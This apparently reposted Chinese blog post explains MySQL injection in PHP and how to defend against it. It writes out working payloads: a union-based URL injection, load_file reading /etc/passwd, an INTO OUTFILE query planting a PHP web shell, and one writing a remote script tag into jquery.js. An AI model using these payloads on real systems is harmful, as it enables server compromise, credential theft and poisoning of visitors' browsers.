mysql注入之系统操作系统文件

mysql注入最典型的的场景莫过于不对参数进行过滤,比如典型的语句,选择一个用户信息显示php代码:

$sql = "select * from  user where id={$_GET['id']}";

用户只需要在浏览器地址栏中网址后面的比如:id=23修改一下:

http://xxx.com/xxx?id=23 union all select * from user;

这就能筛选出所有用户了。

避免这类事情出现的方法自然是使用参数过滤,用数据库驱动接口中的mysql_real_escape_string可以解决这个问题。当然最稳妥的还是使用框架来写代码,框架已经对mysql注入进行了比较好的防范。但是,使用框架后一定要切记尽量不要评价sql语句,只要拼接,就要考虑注入问题。

这里要提出的是,mysql还有一个功能,它能加载文件显示,比如:

select load_file('/etc/passwd');

避免这个问题的方法自然是进行参数过滤。

 

它还能写入文件,比如:

扫描二维码关注公众号,回复: 247074 查看本文章

select '<?php system(\'cat /etc/passwd\'); ?>' into outfile '/data/web/www/command.php';

这样,用户就可以从网址输入command.php访问页面,从而达到查看linux系统中用户信息的目的。当然,利用这个方式还可以给网站各个js注入代码。

避免这个问题产生的方法除了参数过滤以外,还可以让mysql运行在mysql用户下,网站文件则用apache用户或www用户等,并且不要简单的把所有文件权限设置为777。

windows用户就比较惨了,如果原生方法写代码,又不对参数进行过滤,那么往网站js中注入代码就是很简单的事情,比如:

select '<script src=\'http://xxxx.xxx.com/xxx.js\'>' into outfile 'D:\\web\\www\\htdocs\\js\\jquery.js';

这个语句将给jquery.js注入危险的js代码。当然还可以写一个php文件,然后执行它,这个文件则是想做什么都可以了,反正php文件是可以操作服务器文件的。

 

猜你喜欢

转载自canlynet.iteye.com/blog/2357858
今日推荐